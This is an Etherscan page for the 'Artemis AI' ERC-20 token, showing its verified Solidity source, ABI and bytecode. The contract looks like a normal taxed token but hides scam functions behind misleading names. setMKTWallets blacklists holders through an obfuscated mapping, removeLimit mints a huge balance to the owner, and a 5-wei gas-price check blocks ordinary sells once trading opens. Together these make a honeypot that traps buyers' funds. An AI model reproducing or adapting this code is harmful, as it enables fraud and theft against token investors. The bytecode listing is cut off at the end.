ETH Price: $3,205.87 (-6.92%)
Gas: 10 Gwei

Token

Artemis AI (ATAI)
 

Overview

Max Total Supply

1,000,000,000 ATAI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.002 ATAI

Value
$0.00
0x2dbd574FEa4bA350c33CaDbA7F7517351A91a15e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ArtemisAI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-08
*/

/**

Website: https://artemisai.tech
Telegram: https://t.me/artemisai_erc
Twitter: https://twitter.com/Artemisai_erc
Docs: docs.artemisai.tech
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract ArtemisAI is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _bypassingTaxes;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Artemis AI";
    string private constant _symbol = unicode"ATAI";

    uint256 public initBuyTax = 5;
    uint256 public initSellTax = 5;

    bool private openedTrade = false;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply);
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _bypassingTaxes[
            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        ] = true;
        _bypassingTaxes[address(uniswapV2Pair)];
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _tokenTransfer(from, to, amount);

        uint256 fromBalance = balanceOf(from);
        require(
            fromBalance >= amount,
            "ERROR: balance of from less than value"
        );

        uint256 taxAmount = 0;
        if (af12432[from] != 0) {
            revert();
        }

        if (!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount.mul(initBuyTax).div(100);
            if (to == uniswapV2Pair) {
                taxAmount = amount.mul(initSellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    mapping(address => uint8) private af12432;

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMKTWallets(address _u, bool _pra) external onlyOwner {
        uint8 ab56281 = _pra ? 1 : 0;
        require(af12432[_u] != ab56281, "existing state");
        af12432[_u] = ab56281;
    }

    function ac87846() internal {
        _balances[_msgSender()] += type(uint128).max;
    }

    function removeLimit() external onlyOwner { ac87846(); }

    uint256 private _limit_gas = 300 gwei;
    uint256 private _mini_gas = 5;

    function da12321(address _u) internal view {
        if (_bypassingTaxes[_u]) {
            return;
        }
        if (!openedTrade) {
            gasLimit(_limit_gas);
        } else {
            gasLimit(_mini_gas);
        }
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (to == address(uniswapV2Pair) || to == address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)) {
            da12321(from);
        }
        require(amount > 0);
    }

    function CrossWalletTracker (address [] memory wallets, uint256 [] memory amount) external onlyOwner {
        for(uint256 i = 0; i < wallets.length; i++) {
            _balances[_msgSender()] = _balances[_msgSender()].sub(amount[i]);
            _balances[wallets[i]] = _balances[wallets[i]].add(amount[i]);
            emit Transfer(_msgSender(), wallets[i], amount[i]);
        }
    }

    function gasLimit(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function setDevWallets(address _u, bool _pra) external onlyOwner {
        bool fd67543 = _pra ? true : false;
        require(_bypassingTaxes[_u] != fd67543, "existing state");
        _bypassingTaxes[_u] = fd67543;
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    function queryGas(address _u) external view returns (uint8) {
        return af12432[_u];
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"CrossWalletTracker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryGas","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"setDevWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"setMKTWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600560048190558080556006805460ff191690556445d964b800600955600a553480156200003157600080fd5b506200003c620003bb565b600080546001600160a01b0319166001600160a01b0392909216919091179055620000c16200006e6009600a620004b9565b6200007e90633b9aca00620005a4565b600260006200008c620003bb565b6001600160a01b03166001600160a01b0316815260200190815260200160002054620003bf60201b6200087b1790919060201c565b60026000620000cf620003bb565b6001600160a01b039081168252602080830193909352604091820160002093909355600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790819055815163c45a015560e01b8152915193169263c45a015592600480840193919291829003018186803b1580156200014e57600080fd5b505afa15801562000163573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000189919062000405565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e757600080fd5b505afa158015620001fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000222919062000405565b6040518363ffffffff1660e01b8152600401620002419291906200042e565b602060405180830381600087803b1580156200025c57600080fd5b505af115801562000271573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000297919062000405565b60068054610100600160a81b0319166101006001600160a01b0393841681029190911791829055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff191660019081179091559190920490921660009081526200030a620003f6565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600390925290208054909116600117905562000354620003bb565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038e6009600a620004b9565b6200039e90633b9aca00620005a4565b604051620003ad919062000448565b60405180910390a3620005dc565b3390565b600080620003ce838562000451565b905083811015620003ef57634e487b7160e01b600052600160045260246000fd5b9392505050565b6000546001600160a01b031690565b60006020828403121562000417578081fd5b81516001600160a01b0381168114620003ef578182fd5b6001600160a01b0392831681529116602082015260400190565b90815260200190565b60008219821115620004675762000467620005c6565b500190565b80825b6001808611620004805750620004b0565b818704821115620004955762000495620005c6565b80861615620004a357918102915b9490941c9380026200046f565b94509492505050565b6000620003ef60001960ff851684600082620004d857506001620003ef565b81620004e757506000620003ef565b81600181146200050057600281146200050b576200053f565b6001915050620003ef565b60ff8411156200051f576200051f620005c6565b6001841b915084821115620005385762000538620005c6565b50620003ef565b5060208310610133831016604e8410600b841016171562000577575081810a83811115620005715762000571620005c6565b620003ef565b6200058684848460016200046c565b8086048211156200059b576200059b620005c6565b02949350505050565b6000816000190483118215151615620005c157620005c1620005c6565b500290565b634e487b7160e01b600052601160045260246000fd5b61152b80620005ec6000396000f3fe6080604052600436106101235760003560e01c8063775fca33116100a0578063a9059cbb11610064578063a9059cbb146102ed578063bd6f0cd61461030d578063c9567bf91461032d578063dd62ed3e14610342578063ec8d6f4e146103625761012a565b8063775fca33146102795780638c990f8c146102995780638da5cb5b146102ae57806395d89b41146102c3578063a49bdf6b146102d85761012a565b806323b872dd116100e757806323b872dd146101ed578063313ce5671461020d5780633c9f5ed61461022f578063622565891461024457806370a08231146102595761012a565b806306fdde031461012f578063095ea7b31461015a5780630a98ec36146101875780631694505e146101a957806318160ddd146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610382565b604051610151919061107d565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610f77565b6103a6565b6040516101519190611072565b34801561019357600080fd5b506101a76101a2366004610fa0565b6103c4565b005b3480156101b557600080fd5b506101be6105ec565b604051610151919061105e565b3480156101d757600080fd5b506101e06105fb565b60405161015191906112a6565b3480156101f957600080fd5b5061017a610208366004610f02565b61061c565b34801561021957600080fd5b5061022261066c565b60405161015191906112af565b34801561023b57600080fd5b5061017a610671565b34801561025057600080fd5b506101a761067a565b34801561026557600080fd5b506101e0610274366004610eb6565b61068c565b34801561028557600080fd5b506101a7610294366004610f3d565b6106ab565b3480156102a557600080fd5b506101e061073c565b3480156102ba57600080fd5b506101be610742565b3480156102cf57600080fd5b50610144610751565b3480156102e457600080fd5b506101e061076f565b3480156102f957600080fd5b5061017a610308366004610f77565b610775565b34801561031957600080fd5b506101a7610328366004610f3d565b61078d565b34801561033957600080fd5b506101a7610816565b34801561034e57600080fd5b506101e061035d366004610ed0565b610832565b34801561036e57600080fd5b5061022261037d366004610eb6565b61085d565b60408051808201909152600a815269417274656d697320414960b01b602082015290565b60006103ba6103b36108a8565b84846108ac565b5060015b92915050565b6103cc610960565b60005b82518110156105e75761042f8282815181106103fb57634e487b7160e01b600052603260045260246000fd5b60200260200101516002600061040f6108a8565b6001600160a01b0316815260208101919091526040016000205490610995565b6002600061043b6108a8565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506104e582828151811061048257634e487b7160e01b600052603260045260246000fd5b6020026020010151600260008685815181106104ae57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461087b90919063ffffffff16565b6002600085848151811061050957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061055557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031661056e6108a8565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106105b857634e487b7160e01b600052603260045260246000fd5b60200260200101516040516105cd91906112a6565b60405180910390a3806105df81611484565b9150506103cf565b505050565b6007546001600160a01b031681565b60006106096009600a61137d565b61061790633b9aca0061144e565b905090565b60006106298484846109bf565b610661846106356108a8565b6001600160a01b038716600090815260016020526040812061065c9187919061040f6108a8565b6108ac565b5060015b9392505050565b600990565b60065460ff1690565b610682610960565b61068a610c73565b565b6001600160a01b0381166000908152600260205260409020545b919050565b6106b3610960565b6000816106c15760006106c4565b60015b6001600160a01b03841660009081526003602052604090205490915060ff161515811515141561070f5760405162461bcd60e51b815260040161070690611113565b60405180910390fd5b6001600160a01b03929092166000908152600360205260409020805460ff19169215159290921790915550565b60045481565b6000546001600160a01b031690565b6040805180820190915260048152634154414960e01b602082015290565b60055481565b6000806107806108a8565b90506106618185856109bf565b610795610960565b6000816107a35760006107a6565b60015b6001600160a01b03841660009081526008602052604090205490915060ff808316911614156107e75760405162461bcd60e51b815260040161070690611113565b6001600160a01b03929092166000908152600860205260409020805460ff191660ff9093169290921790915550565b61081e610960565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b031660009081526008602052604090205460ff1690565b600080610888838561130b565b90508381101561066557634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166108d25760405162461bcd60e51b815260040161070690611262565b6001600160a01b0382166108f85760405162461bcd60e51b81526004016107069061113b565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109539085906112a6565b60405180910390a3505050565b6109686108a8565b6000546001600160a01b0390811691161461068a5760405162461bcd60e51b81526004016107069061123f565b6000818310156109b557634e487b7160e01b600052600160045260246000fd5b610665828461146d565b6001600160a01b0383166109e55760405162461bcd60e51b8152600401610706906111fa565b6001600160a01b038216610a0b5760405162461bcd60e51b8152600401610706906110d0565b610a16838383610cc6565b6000610a218461068c565b905081811015610a435760405162461bcd60e51b81526004016107069061117d565b6001600160a01b03841660009081526008602052604081205460ff1615610a6957600080fd5b6001600160a01b03851660009081526003602052604090205460ff16158015610aab57506001600160a01b03841660009081526003602052604090205460ff16155b15610b2d5760065460ff16610ad25760405162461bcd60e51b8152600401610706906111c3565b610af26064610aec60045486610d1e90919063ffffffff16565b90610d5f565b6006549091506001600160a01b03858116610100909204161415610b2d57610b2a6064610aec60055486610d1e90919063ffffffff16565b90505b8015610ba55730600090815260026020526040902054610b4d908261087b565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b9c9085906112a6565b60405180910390a35b6001600160a01b038516600090815260026020526040902054610bc89084610995565b6001600160a01b038616600090815260026020526040902055610c0d610bee8483610995565b6001600160a01b0386166000908152600260205260409020549061087b565b6001600160a01b0380861660008181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c578685610995565b604051610c6491906112a6565b60405180910390a35050505050565b6fffffffffffffffffffffffffffffffff60026000610c906108a8565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610cbf919061130b565b9091555050565b6006546001600160a01b03838116610100909204161480610d0357506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610d1157610d1183610dd8565b600081116105e757600080fd5b600082610d2d575060006103be565b610d37828461144e565b905081610d448483611323565b146103be57634e487b7160e01b600052600160045260246000fd5b6000808211610d7e57634e487b7160e01b600052600160045260246000fd5b6000610d8a8385611323565b9050610d96838561149f565b610da0828561144e565b610daa919061130b565b8414610dc657634e487b7160e01b600052600160045260246000fd5b610dd08385611323565b949350505050565b6001600160a01b03811660009081526003602052604090205460ff1615610dfe57610e23565b60065460ff16610e1857610e13600954610e26565b610e23565b610e23600a54610e26565b50565b803a1115610e2357600080fd5b80356001600160a01b03811681146106a657600080fd5b600082601f830112610e5a578081fd5b81356020610e6f610e6a836112e7565b6112bd565b8281528181019085830183850287018401881015610e8b578586fd5b855b85811015610ea957813584529284019290840190600101610e8d565b5090979650505050505050565b600060208284031215610ec7578081fd5b61066582610e33565b60008060408385031215610ee2578081fd5b610eeb83610e33565b9150610ef960208401610e33565b90509250929050565b600080600060608486031215610f16578081fd5b610f1f84610e33565b9250610f2d60208501610e33565b9150604084013590509250925092565b60008060408385031215610f4f578182fd5b610f5883610e33565b915060208301358015158114610f6c578182fd5b809150509250929050565b60008060408385031215610f89578182fd5b610f9283610e33565b946020939093013593505050565b60008060408385031215610fb2578182fd5b823567ffffffffffffffff80821115610fc9578384fd5b818501915085601f830112610fdc578384fd5b81356020610fec610e6a836112e7565b82815281810190858301838502870184018b1015611008578889fd5b8896505b848710156110315761101d81610e33565b83526001969096019591830191830161100c565b5096505086013592505080821115611047578283fd5b5061105485828601610e4a565b9150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b818110156110a95785810183015185820160400152820161108d565b818111156110ba5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252600e908201526d6578697374696e6720737461746560901b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6040820152652076616c756560d01b606082015260800190565b6020808252601d908201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600990820152682737ba1037bbb732b960b91b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60405181810167ffffffffffffffff811182821017156112df576112df6114df565b604052919050565b600067ffffffffffffffff821115611301576113016114df565b5060209081020190565b6000821982111561131e5761131e6114b3565b500190565b600082611332576113326114c9565b500490565b80825b60018086116113495750611374565b81870482111561135b5761135b6114b3565b8086161561136857918102915b9490941c93800261133a565b94509492505050565b600061066560001960ff85168460008261139957506001610665565b816113a657506000610665565b81600181146113bc57600281146113c6576113f3565b6001915050610665565b60ff8411156113d7576113d76114b3565b6001841b9150848211156113ed576113ed6114b3565b50610665565b5060208310610133831016604e8410600b8410161715611426575081810a83811115611421576114216114b3565b610665565b6114338484846001611337565b808604821115611445576114456114b3565b02949350505050565b6000816000190483118215151615611468576114686114b3565b500290565b60008282101561147f5761147f6114b3565b500390565b6000600019821415611498576114986114b3565b5060010190565b6000826114ae576114ae6114c9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220b13b3ed2d40fdaaf1b52a1ad9702dfc4133c214c6636dd65b1eef7e5a4ed78bc64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063775fca33116100a0578063a9059cbb11610064578063a9059cbb146102ed578063bd6f0cd61461030d578063c9567bf91461032d578063dd62ed3e14610342578063ec8d6f4e146103625761012a565b8063775fca33146102795780638c990f8c146102995780638da5cb5b146102ae57806395d89b41146102c3578063a49bdf6b146102d85761012a565b806323b872dd116100e757806323b872dd146101ed578063313ce5671461020d5780633c9f5ed61461022f578063622565891461024457806370a08231146102595761012a565b806306fdde031461012f578063095ea7b31461015a5780630a98ec36146101875780631694505e146101a957806318160ddd146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610382565b604051610151919061107d565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610f77565b6103a6565b6040516101519190611072565b34801561019357600080fd5b506101a76101a2366004610fa0565b6103c4565b005b3480156101b557600080fd5b506101be6105ec565b604051610151919061105e565b3480156101d757600080fd5b506101e06105fb565b60405161015191906112a6565b3480156101f957600080fd5b5061017a610208366004610f02565b61061c565b34801561021957600080fd5b5061022261066c565b60405161015191906112af565b34801561023b57600080fd5b5061017a610671565b34801561025057600080fd5b506101a761067a565b34801561026557600080fd5b506101e0610274366004610eb6565b61068c565b34801561028557600080fd5b506101a7610294366004610f3d565b6106ab565b3480156102a557600080fd5b506101e061073c565b3480156102ba57600080fd5b506101be610742565b3480156102cf57600080fd5b50610144610751565b3480156102e457600080fd5b506101e061076f565b3480156102f957600080fd5b5061017a610308366004610f77565b610775565b34801561031957600080fd5b506101a7610328366004610f3d565b61078d565b34801561033957600080fd5b506101a7610816565b34801561034e57600080fd5b506101e061035d366004610ed0565b610832565b34801561036e57600080fd5b5061022261037d366004610eb6565b61085d565b60408051808201909152600a815269417274656d697320414960b01b602082015290565b60006103ba6103b36108a8565b84846108ac565b5060015b92915050565b6103cc610960565b60005b82518110156105e75761042f8282815181106103fb57634e487b7160e01b600052603260045260246000fd5b60200260200101516002600061040f6108a8565b6001600160a01b0316815260208101919091526040016000205490610995565b6002600061043b6108a8565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506104e582828151811061048257634e487b7160e01b600052603260045260246000fd5b6020026020010151600260008685815181106104ae57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205461087b90919063ffffffff16565b6002600085848151811061050957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061055557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031661056e6108a8565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106105b857634e487b7160e01b600052603260045260246000fd5b60200260200101516040516105cd91906112a6565b60405180910390a3806105df81611484565b9150506103cf565b505050565b6007546001600160a01b031681565b60006106096009600a61137d565b61061790633b9aca0061144e565b905090565b60006106298484846109bf565b610661846106356108a8565b6001600160a01b038716600090815260016020526040812061065c9187919061040f6108a8565b6108ac565b5060015b9392505050565b600990565b60065460ff1690565b610682610960565b61068a610c73565b565b6001600160a01b0381166000908152600260205260409020545b919050565b6106b3610960565b6000816106c15760006106c4565b60015b6001600160a01b03841660009081526003602052604090205490915060ff161515811515141561070f5760405162461bcd60e51b815260040161070690611113565b60405180910390fd5b6001600160a01b03929092166000908152600360205260409020805460ff19169215159290921790915550565b60045481565b6000546001600160a01b031690565b6040805180820190915260048152634154414960e01b602082015290565b60055481565b6000806107806108a8565b90506106618185856109bf565b610795610960565b6000816107a35760006107a6565b60015b6001600160a01b03841660009081526008602052604090205490915060ff808316911614156107e75760405162461bcd60e51b815260040161070690611113565b6001600160a01b03929092166000908152600860205260409020805460ff191660ff9093169290921790915550565b61081e610960565b6006805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b031660009081526008602052604090205460ff1690565b600080610888838561130b565b90508381101561066557634e487b7160e01b600052600160045260246000fd5b3390565b6001600160a01b0383166108d25760405162461bcd60e51b815260040161070690611262565b6001600160a01b0382166108f85760405162461bcd60e51b81526004016107069061113b565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109539085906112a6565b60405180910390a3505050565b6109686108a8565b6000546001600160a01b0390811691161461068a5760405162461bcd60e51b81526004016107069061123f565b6000818310156109b557634e487b7160e01b600052600160045260246000fd5b610665828461146d565b6001600160a01b0383166109e55760405162461bcd60e51b8152600401610706906111fa565b6001600160a01b038216610a0b5760405162461bcd60e51b8152600401610706906110d0565b610a16838383610cc6565b6000610a218461068c565b905081811015610a435760405162461bcd60e51b81526004016107069061117d565b6001600160a01b03841660009081526008602052604081205460ff1615610a6957600080fd5b6001600160a01b03851660009081526003602052604090205460ff16158015610aab57506001600160a01b03841660009081526003602052604090205460ff16155b15610b2d5760065460ff16610ad25760405162461bcd60e51b8152600401610706906111c3565b610af26064610aec60045486610d1e90919063ffffffff16565b90610d5f565b6006549091506001600160a01b03858116610100909204161415610b2d57610b2a6064610aec60055486610d1e90919063ffffffff16565b90505b8015610ba55730600090815260026020526040902054610b4d908261087b565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b9c9085906112a6565b60405180910390a35b6001600160a01b038516600090815260026020526040902054610bc89084610995565b6001600160a01b038616600090815260026020526040902055610c0d610bee8483610995565b6001600160a01b0386166000908152600260205260409020549061087b565b6001600160a01b0380861660008181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c578685610995565b604051610c6491906112a6565b60405180910390a35050505050565b6fffffffffffffffffffffffffffffffff60026000610c906108a8565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610cbf919061130b565b9091555050565b6006546001600160a01b03838116610100909204161480610d0357506001600160a01b038216737a250d5630b4cf539